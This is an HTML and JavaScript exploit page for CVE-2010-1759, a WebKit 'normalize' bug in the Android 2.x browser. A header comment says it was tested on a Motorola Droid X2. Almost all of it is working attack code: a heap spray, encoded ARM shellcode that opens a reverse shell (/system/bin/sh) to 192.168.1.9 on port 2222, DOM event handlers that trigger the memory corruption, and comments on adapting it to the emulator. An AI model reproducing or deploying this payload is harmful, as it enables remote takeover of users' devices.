<!-- CVE-2010-1759 webkit normalize bug Tested on Moto Droidx2 running 2.2. Droidx2 running 2.3 is vulnerable but exploit fails due to non-executable heap. Still working on a way around that :) 2.1 - 2.3 emulator. The changes needed are documented in the code. The emulator is less consistent than the real phone Author: MJ Keith mjkeith[at]evilhippie.org --> <p>LOADING... </p> <div id="test1"></div> <div id="test2"></div> <div id="test3"></div> <script> var elem1 = document.getElementById("test1"); var elem2 = document.getElementById("test2"); var elem3 = document.getElementById("test3"); function spray() { for (var i = 0; i < 180000; i++) {var s = new String(unescape("\u0052\u0052")); } // "\u0056\u0056" FOR EMULATOR var scode = unescape("\u5200\u5200"); // "\u0058\u0058" FOR EMULATOR var scode2 = unescape("\u5005\ue1a0"); var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002"); shell += unescape("\uae08"); // Port = 2222 shell += unescape("\ua8c0\u0901"); // IP = 192.168.1.9 // "\u000a\u0202" FOR EMULATOR shell += unescape("\u2000\u2000"); // Port = 2222 do { scode += scode; scode2 += scode2; } while (scode.length<=0x1000); scode2 += shell target = new Array(); for(i = 0; i < 141; i++){ // CHANGE 141 TO 201 FOR EMULATOR if (i<100){ target[i] = scode;} if (i>100){ target[i] = scode2;} document.write(target[i]); document.write("<br />"); if (i>140){ // CHANGE 140 TO 200 FOR EMULATOR document.write("<br />");} } } function handler1() { elem1.removeAttribute("b"); spray(); } function handler2() { elem2.removeAttribute("b"); spray(); } function handler3() { elem3.removeAttribute("b"); spray(); } function slowdown() { for (var i = 0; i < 120; i++) { console.log('slow' + i); if (i > 110 ){ elem1.normalize(); elem2.normalize(); elem3.normalize(); } } } elem1.setAttribute("b", "a"); elem1.attributes[0].appendChild(document.createTextNode("hi")); elem1.attributes[0].addEventListener("DOMSubtreeModified", handler2, false); document.body.offsetTop; slowdown(); // COMMENT OUT THIS FUNCTION CALL FOR EMULATOR //elem1.normalize(); // UN-COMMENT THIS LINE FOR EMULATOR document.body.offsetTop; elem2.setAttribute("b", "a"); elem2.attributes[0].appendChild(document.createTextNode("hi")); elem2.attributes[0].addEventListener("DOMSubtreeModified", handler2, false); document.body.offsetTop; elem2.normalize(); elem3.setAttribute("b", "a"); elem3.attributes[0].appendChild(document.createTextNode("hi")); elem3.attributes[0].addEventListener("DOMSubtreeModified", handler3, false); document.body.offsetTop; elem3.normalize(); </script>